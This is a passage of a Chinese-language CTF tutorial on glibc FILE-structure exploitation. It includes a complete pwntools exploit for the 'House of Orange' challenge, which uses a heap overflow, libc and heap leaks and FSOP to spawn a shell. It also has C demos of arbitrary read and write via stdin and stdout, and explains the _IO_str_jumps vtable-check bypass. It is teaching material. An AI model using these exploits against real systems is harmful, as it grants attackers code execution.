pause()
else:
pass
def build(length, name, price, color):
io.sendlineafter(b"Your choice :", str(1).encode())
io.sendlineafter(b"Length of name :", str(length).encode())
io.sendafter(b"Name :", name)
io.sendlineafter(b"Price of Orange:", str(price).encode())
io.sendlineafter(b"Color of Orange:", str(color).encode())
def upgrade(length, name, price, color):
io.sendlineafter(b"Your choice :", str(3).encode())
io.sendlineafter(b"Length of name :", str(length).encode())
io.sendafter(b"Name:", name)
io.sendlineafter(b"Price of Orange: ", str(price).encode())
io.sendlineafter(b"Color of Orange:", str(color).encode())
```
**泄露libc和heap基址**
```cpp
def leak():
global malloc_hook, _IO_list_all, system_addr, heap_base
build(0x30, b'ffff', 233, 0xDDAA) # chunk0
#debug()
payload = cyclic(0x30) + p64(0) + p64(0x21) + p32(233) + p32(0xDDAA)
payload += p64(0) * 2 + p64(0xf81)
upgrade(len(payload), payload, 233, 0xDDAA) # size must be page aligned
#debug()
build(0x1000, b'f', 233, 0xDDAA) # chunk1
#debug()
build(0x400, b'f'*8, 666, 2) # chunk2
debug()
io.sendlineafter(b"Your choice :", str(2).encode())
io.recvuntil(b'f'*8)
libc.address = u64(io.recvuntil(b'\x7f').ljust(8, b'\x00')) - 0x3c5188
lk('libc base address', libc.address)
_IO_list_all = libc.sym['_IO_list_all']
system_addr = libc.sym['system']
lk('_IO_list_all', _IO_list_all)
lk('system_addr', system_addr)
upgrade(0x10, b'f'*0x10, 666, 2)
debug()
io.sendlineafter(b"Your choice :", str(2).encode())
io.recvuntil(b'f'*0x10)
heap_addr = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
heap_base = heap_addr - 0xE0
lk('heap_base', heap_base)
```
首先通过堆溢出将 `top_chunk` 的大小改为 `0xf81`。
然后申请一块大于 `0xf81` 的 `chunk` 利用上面讲的 `sysmalloc` 中的 `_int_free` 函数将 `old_top_chunk` 放入 `unsorted_bin` 中。在申请 `0x400` 大小的 `large_chunk` ,`ptmalloc2` 会先将 `old_top_chunk` 放进 `large_bin`,然后切分 `old_top_chunk`,再将其放回 `unsorted_bin`。 所以此时其 `fd_nextsize` 和 `bk_nextsize` 遗留了 `heap` 地址。其 `bk` 位置遗留了 `main_arean+0x668` 的地址。我们可以通过 `0x400` 这个堆块泄露出 `heap` 和 `libc` 地址,然后通过计算偏移获得基址。
**FSOP**
```python
def FSOP():
orange = b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10) # unsorted_bin_attack
orange += p64(0) + p64(1)
orange = orange.ljust(0xc0, b'\x00')
orange += p64(0) * 3 + p64(heap_base + 0x5E8) + p64(0) * 2 + p64(system_addr)
payload = cyclic(0x400) + p64(0) + p64(0x21) + p32(233) + p32(0xDDAA) + p64(0)
payload += orange
upgrade(len(payload), payload, 233, 0xDDAA)
debug()
gdb.attach(io)
io.sendlineafter(b'Your choice : ', str(1).encode())
pause()
```
我们可以通过 `unsorted_bin_attack` 将 `_IO_list_all` 指向 `main_arena+0x58` ,但这块区域是我们不可控的,我们看一下 `malloc_state` 结构体源码:
```cpp
struct malloc_state
{
__libc_lock_define (, mutex);
int flags;
/* int have_fastchunks; glibc 2.23 无此成员 */
mfastbinptr fastbinsY;
mchunkptr top;
mchunkptr last_remainder;
mchunkptr bins;
unsigned int binmap;
struct malloc_state *next;
struct malloc_state *next_free;
INTERNAL_SIZE_T attached_threads;
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
```
_(tips:bins 和 bins分别对应链表头和链表尾指针)_
`bins == small_bin == small_bin_0x60 ` ,`bins == unsorted_bin`,相差是 `12*8 = 0x60`。结合 `_IO_FILE_plus` 结构体如下图所示:
!(hosa_fake_io.png)
我们可以控制 `old_top_chunk` 的大小,把它 `size` 置为 `0x61`,并在其内部构建 `fake_IO_FILE_plus_2` 放进 `small_bin`,那么`fp->_chain` 将会指向 `fake_IO_FILE_2`。此时 `main_arena` 如下图。
为了绕过如下检查:
```cpp
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
```
我们构造的 `fake_IO_FILE_plus` 如下图:
检测到内存错误后的调用 `_IO_OVERFLOW (fp, EOF)->_IO_OVERFLOW("/bin/sh\x00, EOF")->system("/bin/sh\x00")`。
**完整exp**
```python
from pwn import *
context.terminal=['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch='amd64'
context.os='linux'
lk = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)
is_local = True
def connect():
global io, elf, libc
elf = ELF("./houseoforange")
libc = elf.libc
if is_local:
io = process('./houseoforange')
else:
io = remote('192.168.152.138',10001)
is_debug = True
def debug(gdbscript=""):
if is_debug:
gdb.attach(io, gdbscript=gdbscript)
pause()
else:
pass
def build(length, name, price, color):
io.sendlineafter(b"Your choice :", str(1).encode())
io.sendlineafter(b"Length of name :", str(length).encode())
io.sendafter(b"Name :", name)
io.sendlineafter(b"Price of Orange:", str(price).encode())
io.sendlineafter(b"Color of Orange:", str(color).encode())
def upgrade(length, name, price, color):
io.sendlineafter(b"Your choice :", str(3).encode())
io.sendlineafter(b"Length of name :", str(length).encode())
io.sendafter(b"Name:", name)
io.sendlineafter(b"Price of Orange: ", str(price).encode())
io.sendlineafter(b"Color of Orange:", str(color).encode())
def leak():
global malloc_hook, _IO_list_all, system_addr, heap_base
build(0x30, b'ffff', 233, 0xDDAA) # chunk0
#debug()
payload = cyclic(0x30) + p64(0) + p64(0x21) + p32(233) + p32(0xDDAA)
payload += p64(0) * 2 + p64(0xf81)
upgrade(len(payload), payload, 233, 0xDDAA) # size must be page aligned
#debug()
build(0x1000, b'f', 233, 0xDDAA) # chunk1
#debug()
build(0x400, b'f'*8, 666, 2) # chunk2
#debug()
io.sendlineafter(b"Your choice :", str(2).encode())
io.recvuntil(b'f'*8)
libc.address = u64(io.recvuntil(b'\x7f').ljust(8, b'\x00')) - 0x3c5188
lk('libc base address', libc.address)
_IO_list_all = libc.sym['_IO_list_all']
system_addr = libc.sym['system']
lk('_IO_list_all', _IO_list_all)
lk('system_addr', system_addr)
upgrade(0x10, b'f'*0x10, 666, 2)
#debug()
io.sendlineafter(b"Your choice :", str(2).encode())
io.recvuntil(b'f'*0x10)
heap_addr = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
heap_base = heap_addr - 0xE0
lk('heap_base', heap_base)
def FSOP():
orange = b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10) # unsorted_bin_attack
orange += p64(0) + p64(1) # fp->_mode <= 0;fp->_IO_write_ptr>fp->_IO_write_base
orange = orange.ljust(0xc0, b'\x00')
orange += p64(0) * 3 + p64(heap_base + 0x5E8) + p64(0) * 2 + p64(system_addr)
payload = cyclic(0x400) + p64(0) + p64(0x21) + p32(233) + p32(0xDDAA) + p64(0)
payload += orange
upgrade(len(payload), payload, 233, 0xDDAA)
#debug()
#gdb.attach(io)
io.sendlineafter(b'Your choice : ', str(1).encode())
#pause()
def pwn():
connect()
leak()
FSOP()
io.interactive()
if __name__ == "__main__":
pwn()
```
## _IO_vtable_check 检查及新的利用方法
### glibc-2.24 加入的检查
`glibc-2.24` 后加入了针对 `IO_FILE_plus` 的 `vtable` 劫持的检测措施,`glibc`会在调用虚函数之前首先检查 `vtable` 地址的是否合法。首先会验证 `vtable` 是否位于`_IO_vtable`段中,如果满足条件就正常执行,否则会调用 `_IO_vtable_check` 做进一步检查。如果 `vtable` 是非法的,那么会引发 `abort`。
```cpp
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
# define _IO_JUMPS_FUNC(THIS) \
(IO_validate_vtable \
(*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
+ (THIS)->_vtable_offset)))
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
// 计算 _IO_vtable 长度
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
// 计算 ptr 与 __start___libc_IO_vtables 距离
uintptr_t offset = ptr - __start___libc_IO_vtables;
// 如果即不在 _IO_vtable_段内, 则调用 _IO_vtable_check ()
if (__glibc_unlikely (offset >= section_length))
_IO_vtable_check ();
return vtable;
}
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag.*/
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;
/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary.*/
{
Dl_info di;
struct link_map *l;
if (_dl_open_hook != NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}
#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
because FILE * handles might be passed back and forth across the
boundary.Therefore, we disable checking in this case.*/
if (__dlopen != NULL)
return;
#endif
__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}
```
1. 判断 `vtable` 的地址是否处于 `glibc` 中的 `vtable` 数组段,是的话,通过检查。
2. 否则判断是否为外部的合法 `vtable`(重构或是动态链接库中的vtable),是的话,通过检查。
3. 否则报错,输出`Fatal error: glibc detected an invalid stdio handle`,程序退出。
### _fileno 相关利用
`_IO_FILE` 在使用标准 `IO` 库时会进行创建并负责维护一些相关信息,其中有一些域是表示调用 `fwrite`、`fread` 等函数时写入地址或读取地址的,如果可以控制这些数据就可以实现任意地址写或任意地址读。进程中包含了系统默认的三个文件流 `stdin,stdout,stderr`,因此这种方式可以不需要进程中存在文件操作,通过 `scanf,printf `一样可以进行利用。
* `fp->_fileno` 的值就是文件描述符,`stderr` 值为 `2`,`stdout` 值为 `1`,`stdin` 值为 `0`。
* `fp->_IO_buf_base` 表示操作的起始地址
* `fp->_IO_buf_end` 表示结束地址
**stdin 任意写**
大致了解 `fread` 的执行流程后,还需要绕过以下检查:
```cpp
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
...
/* fp->_IO_buf_base == NULL 会调用 _IO_doallocbuf (fp) 初始化缓冲区 */
if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer.*/
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
/* 如果 fp->_IO_read_end > fp->_IO_read_ptr 则会将缓冲区内容复制到目标地址 */
...
have = fp->_IO_read_end - fp->_IO_read_ptr;
...
if (have > 0)
{
s = __mempcpy (s, fp->_IO_read_ptr, have);
want -= have;
fp->_IO_read_ptr += have;
}
...
/* 如果输入长度大于缓冲区大小则会直接读入 */
if (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF)
break;
continue;
}
...
}
```
即:
* 设置` _IO_read_end `等于` _IO_read_ptr `。
* 设置 `_flag &~ _IO_NO_READS` 即` _flag &~ 0x4`。
* 设置 `_fileno` 为 `0` ,表示读入数据的来源是 `stdin` 。
* 设置` _IO_buf_base` 为 `write_start` ,`_IO_buf_end` 为 `write_end` ;
* 使得 `_IO_buf_end - _IO_buf_base` 大于 `fread` 要读的数据。
**示例**
```cpp
#include<stdio.h>
#include<unistd.h>
#define _GNU_SOURCE
typedef unsigned long long i64;
char buf;
int main() {
char stack_buf;
i64 libc_base = (i64) &puts - 0x84420;
// 0x1ec980 为 _IO_2_1_stdin_ 偏移
FILE *fp = libc_base + 0x1ec980;
fp->_IO_read_end = fp->_IO_read_ptr = 0x0;
fp->_flags &= ~0x4;
fp->_fileno = 0x0;
fp->_IO_buf_base = (char *) buf;
fp->_IO_buf_end = (char *) &buf;
fread(stack_buf, 1, 3, fp);
printf("buf: %s", buf);
printf("stack_buf: %s\n", stack_buf);
return 0;
}
```
使用 `libc6_2.31-0ubuntu9.9_amd64` 版本编译运行结果如下:
**stdout 任意写**
有如下源码:
```cpp
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
...
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr;
if (count > 0)
{
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
...
}
```
将`_IO_write_ptr` 指向 `write_start` ,`_IO_write_end` 指向 `write_end` 即可实现在目标地址写入数据。
**示例**
```cpp
#include<stdio.h>
#include<unistd.h>
#define _GNU_SOURCE
typedef unsigned long long i64;
char buf;
int main() {
char *stack_buf = "abcdefg";
i64 libc_base = (i64) &puts - 0x84420;
FILE *fp = (FILE *) (libc_base + 0x1ed6a0);
fp->_IO_write_ptr = (char *) &buf;
fp->_IO_write_end = (char *) &buf;
fwrite(stack_buf, 1, 8, fp);
printf("\nbuf: %s\n", buf);
return 0;
}
```
使用 `libc6_2.31-0ubuntu9.9_amd64` 版本编译运行结果如下:
**stdout 任意读**
程序正确执行到 `_IO_overflow` 时,有如下源码:
```cpp
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
...
/*
*f->_IO_write_end > f->_IO_write_ptr 就会将待输出的数据写入缓冲区,_IO_overflow 只有在输出缓冲区写满的时候才将其 *输出。因此为了不造成不必要的麻烦,直接令 f->_IO_write_end = f->_IO_write_ptr 。
*/
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
/* Then fill the buffer. */
if (count > 0)
{
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
...
}
```
```cpp
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
// _flags 不能包含 _IO_NO_WRITES,其值为 0x8 。
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
//为了进入如下分枝进造成不必要的麻烦, _flags 应包含 _IO_CURRENTLY_PUTTING,其值为 0x0800
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
...
// _IO_write_base = read_start,_IO_write_ptr = read_end
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,f->_IO_write_ptr - f->_IO_write_base);
...
}
}
int
_IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
return (to_do == 0
|| (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
...
// 构造 _flags 包含 _IO_IS_APPENDING,其值为 0x1000
// 或者 _IO_read_end 等于 _IO_write_base 就可以直接执行到 _IO_SYSWRITE
if (fp->_flags & _IO_IS_APPENDING)
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
...
}
```
即
* 设置 `_flag &~ _IO_NO_WRITES` 即` _flag &~ 0x8`。
* 设置` _flag & _IO_CURRENTLY_PUTTING` 即 `_flag | 0x800`
* 设置 `_IO_write_base` 指向想要泄露的地方;`_IO_write_ptr` 指向泄露结束的地址。
* 设置 `_IO_read_end` 等于` _IO_write_base` 或设置 `_flag & _IO_IS_APPENDING` 即 `_flag | 0x1000`。
* 设置 `_IO_write_end` 等于 `_IO_write_ptr`(非必须)。
**示例**
```cpp
#include<stdio.h>
typedef unsigned long long i64;
char buf[] = "123456";
int main() {
char stack_buf[] = "abcdef";
i64 libc_base = (i64) &puts - 0x84420;
// _IO_2_1_stdout
FILE *fp = (FILE *) (libc_base + 0x1ed6a0);
fp->_flags &= ~0x8;
fp->_flags |= 0x800;
fp->_IO_write_base = (char *) buf;
fp->_IO_write_ptr = (char *) &buf;
fp->_IO_read_end = fp->_IO_write_base;
puts(stack_buf);
return 0;
}
```
## _IO_str_jumps 与 _IO_wstr_jumps
`__start___libc_IO_vtables`指向第一个 `vtable` 地址`_IO_helper_jumps`,而`__stop___libc_IO_vtables`指向最后一个vtable`_IO_str_chk_jumps`结束的地址。想将 `vtable` 覆盖成外部地址且仍然通过检查,可以有两种方式:
1. 使得 `flag == &_IO_vtable_check`
2. 使 `_dl_open_hook!= NULL`
3. 寻找其他位于`__start___libc_IO_vtables` 和 `__stop___libc_IO_vtables` 之间的 `vtable`
第一种方式不可控,因为 `flag` 的获取和比对是类似 `canary` 的方式,其对应的汇编代码如下:
```assembly
<_IO_vtable_check+7> mov rax, qword ptr <0x7fefcac69458>
<_IO_vtable_check+14> ror rax, 0x11
<_IO_vtable_check+18> xor rax, qword ptr fs:
<_IO_vtable_check+27> cmp rax, rdi
```
第二种方式,理论上可行,但是如果我们可以找到存在往`_dl_open_hook`中写值的方法,完全利用该方法来进行更为简单的利用。
第三种方式, `_IO_str_jumps` 与 `__IO_wstr_jumps` 这两个 `vtable` 就位于 `__stop___libc_IO_vtables` 和 `__start___libc_IO_vtables` 之间,所以我们是可以利用他们来通过 `IO_validate_vtable` 的检测的,只需要将 `*vtable` 填成 `_IO_str_jumps` 或 `_IO_wstr_jumps` 地址即可。`_IO_wstr_jumps`与`_IO_str_jumps`功能基本一致,只是`_IO_wstr_jumps`是处理 `wchar`的,利用方式主要有针对 `_IO_str_jumps` 中的 `_IO_str_finsh` 函数和 `_IO_str_overflow` 两种。
**一些下面用到的结构体定义**
```cpp
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
};
struct _IO_streambuf
{
struct _IO_FILE _f;
const struct _IO_jump_t *vtable;
};
typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;
```
### _IO_str_jumps
```cpp
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
```
`_IO_str_jumps` 符号在 `strip` 后会丢失,定位其地址方法如下:
- `_IO_str_jumps`是 `vtable` 中的倒数第二个表,可以通过 `vtable` 的最后地址减去`0x168`。
- `IDA` 寻找`_IO_file_jumps` 在后面找到`_IO_str_****`的函数表即可。
**_IO_str_finish**
下面是 `_IO_str_finish` 函数:
```cpp
/* glibc < 2.28 的实现 */
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
```
它使用了 `_IO_FILE` 结构体中的值当作函数地址来直接调用,如果修改 `((_IO_strfile *) fp)->_s._free_buffer` 为 `system` 地址,然后修改 `fp->_IO_buf_base` 为 `/bin/sh\x00` 字符串地址,然后触发程序执行 `_IO_str_finish` 函数就可以得到 `shell` 。
> * 首先需要绕过之前的 `_IO_flush_all_lokcp`函数中的输出缓冲区的检查 `_mode<=0` 以及`_IO_write_ptr>_IO_write_base` 进入到 `_IO_OVERFLOW` 中。
> * 将 `vtable` 的地址覆盖成 `_IO_str_jumps-0x8` 的地址,这样原来 `_IO_OVERFLOW` 就变成 `_IO_str_finish`。
> * `fp->_IO_buf_base = "/bin/sh\x00"` 作为函数第一个参数。
> * `fp->_flags`要不包含`_IO_USER_BUF`,它被定义为 `1` ,即 `fp->_flags`最低位为 `0`。
> * `fp->_s._free_buffer(fp+0xe8)`改为`system`或`one gadget`的地址。
**_IO_str_overflow**
```cpp
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
...
// fp->_IO_write_ptr - fp->_IO_write_base >= (_IO_size_t) (_IO_blen (fp) + flush_only)
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
// not allowed 绕过 _IO_USER_BUF(0x01)
if (fp->_flags & _IO_USER_BUF)
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
// fp->_IO_buf_end - fp->_IO_buf_base,这里让 _IO_buf_base = 0;
size_t old_blen = _IO_blen (fp);
// fp->_IO_buf_end = (bin_sh_addr - 100) / 2
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
// 函数指针调用 fp+0xe8 = system_addr
new_buf= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
...
}
...
}
...
}
```
即绕过条件为
>* 首先需要绕过之前的 `_IO_flush_all_lokcp`函数中的输出缓冲区的检查 `_mode<=0` 以及`_IO_write_ptr>_IO_write_base` 进入到 `_IO_OVERFLOW` 中。
>* `_IO_buf_base = 0`,`_IO_buf_end = (bin_sh_addr - 100) / 2`
>* `fp->_flags`要不包含`_IO_USER_BUF`,它被定义为 `1` ,即 `fp->_flags`最低位为 `0`。
>* `_IO_write_ptr = ((bin_sh_addr - 100) / 2) +1` 且`_IO_write_base = 0x0`
>* `fp->_s._allocate_buffer(fp+0xe0)` 改为 `system` 或 `one_gadget` 地址。
直接将 `vtable->fake_IO_str_jumps_vtable` 即可,因为 `_IO_str_overflow` 也在 `0x18` 的位置。
### _IO_wstr_jumps
其用法和`_IO_str_jumps` 相似,`_IO_wstr_jumps`与`_IO_str_jumps`功能基本一致,只是`_IO_wstr_jumps`是处理 `wchar`的。其定义如下:
```cpp
const struct _IO_jump_t _IO_wstr_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_wstr_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstr_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail),
JUMP_INIT(xsputn, _IO_wdefault_xsputn),
JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),
JUMP_INIT(seekoff, _IO_wstr_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_wdefault_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
```
**_IO_wstr_overflow**
```cpp
_IO_wint_t
_IO_wstr_overflow (_IO_FILE *fp, _IO_wint_t c)
{
int flush_only = c == WEOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : WEOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_read_ptr;
fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_read_end;
}
pos = fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_wblen (fp) + flush_only))
{
if (fp->_flags2 & _IO_FLAGS2_USER_WBUF) /* not allowed to enlarge */
return WEOF;
else
{
wchar_t *new_buf;
wchar_t *old_buf = fp->_wide_data->_IO_buf_base;
size_t old_wblen = _IO_wblen (fp);
_IO_size_t new_size = 2 * old_wblen + 100;
if (__glibc_unlikely (new_size < old_wblen)
|| __glibc_unlikely (new_size > SIZE_MAX / sizeof (wchar_t)))
return EOF;
new_buf = (wchar_t *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size * sizeof (wchar_t));
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return WEOF;
}
if (old_buf)
{
__wmemcpy (new_buf, old_buf, old_wblen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_wide_data->_IO_buf_base = NULL;
}
__wmemset (new_buf + old_wblen, L'\0', new_size - old_wblen);
_IO_wsetb (fp, new_buf, new_buf + new_size, 1);
fp->_wide_data->_IO_read_base =
new_buf + (fp->_wide_data->_IO_read_base - old_buf);
fp->_wide_data->_IO_read_ptr =
new_buf + (fp->_wide_data->_IO_read_ptr - old_buf);
fp->_wide_data->_IO_read_end =
new_buf + (fp->_wide_data->_IO_read_end - old_buf);
fp->_wide_data->_IO_write_ptr =
new_buf + (fp->_wide_data->_IO_write_ptr - old_buf);
fp->_wide_data->_IO_write_base = new_buf;
fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_buf_end;
}
}
if (!flush_only)
*fp->_wide_data->_IO_write_ptr++ = c;
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_read_end)
fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_write_ptr;
return c;
}
```
**_IO_wstr_finish**
```cpp
void
_IO_wstr_finish (_IO_FILE *fp, int dummy)
{
if (fp->_wide_data->_IO_buf_base && !(fp->_flags2 & _IO_FLAGS2_USER_WBUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_wide_data->_IO_buf_base);
fp->_wide_data->_IO_buf_base = NULL;
_IO_wdefault_finish (fp, 0);
}
```
### glibc-2.28 防御措施
在 `glibc-2.28` 版本中,用操作堆的 `malloc` 函数和 `free` 函 数 替 换 原 来 在 `_IO_str_fields` 里 的 `_allocate_buffer` 和 `_free_buffer` 。 由 于 不 再 使 用 偏 移 , 也 就 不 能 利 用 `__libc_IO_vtables` 上的 `vtable` 绕过检查,于是新的 `FOSP` 利用技术 就失效了。
```cpp
void
_IO_str_finish (FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
free (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
void
_IO_wstr_finish (FILE *fp, int dummy)
{
if (fp->_wide_data->_IO_buf_base && !(fp->_flags2 & _IO_FLAGS2_USER_WBUF))
free (fp->_wide_data->_IO_buf_base);
fp->_wide_data->_IO_buf_base = NULL;
_IO_wdefault_finish (fp, 0);
}
```
```cpp
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
...
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
...
}
wint_t
_IO_wstr_overflow (FILE *fp, wint_t c)
{
int flush_only = c == WEOF;
...
pos = fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base;
if (pos >= (size_t) (_IO_wblen (fp) + flush_only))
{
if (fp->_flags2 & _IO_FLAGS2_USER_WBUF) /* not allowed to enlarge */
return WEOF;
else
{
wchar_t *new_buf;
wchar_t *old_buf = fp->_wide_data->_IO_buf_base;
size_t old_wblen = _IO_wblen (fp);
size_t new_size = 2 * old_wblen + 100;
if (__glibc_unlikely (new_size < old_wblen)
|| __glibc_unlikely (new_size > SIZE_MAX / sizeof (wchar_t)))
return EOF;
new_buf = malloc (new_size * sizeof (wchar_t));
...
}
```
## [babyprintf](https://github.com/firmianay/CTF-All-In-One/tree/master/src/writeup/6.1.25_pwn_hctf2017_babyprintf)
### 检查信息
开了 `NX` 和 `Canary`,题目 `libc` 为 `2.24` 版本。
### 试运行
### 逆向分析
```cpp
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
void *v3; // rbx
unsigned int v4; // eax
Init(a1, a2, a3);
while ( 1 )
{
__printf_chk(1LL, "size: ");
v4 = read_n();
if ( v4 > 0x1000 )
break;
v3 = malloc(v4);
__printf_chk(1LL, "string: ");
gets(v3);
__printf_chk(1LL, "result: ");
__printf_chk(1LL, v3);
}
puts("too long");
exit(1);
}
unsigned __int64 read_n()
{
__int64 v0; // rbx
__int64 v1; // rbp
char v2; // al
char v4; // BYREF
unsigned __int64 v5; //
v0 = 0LL;
v5 = __readfsqword(0x28u);
while ( 1 )
{
v1 = (int)v0;
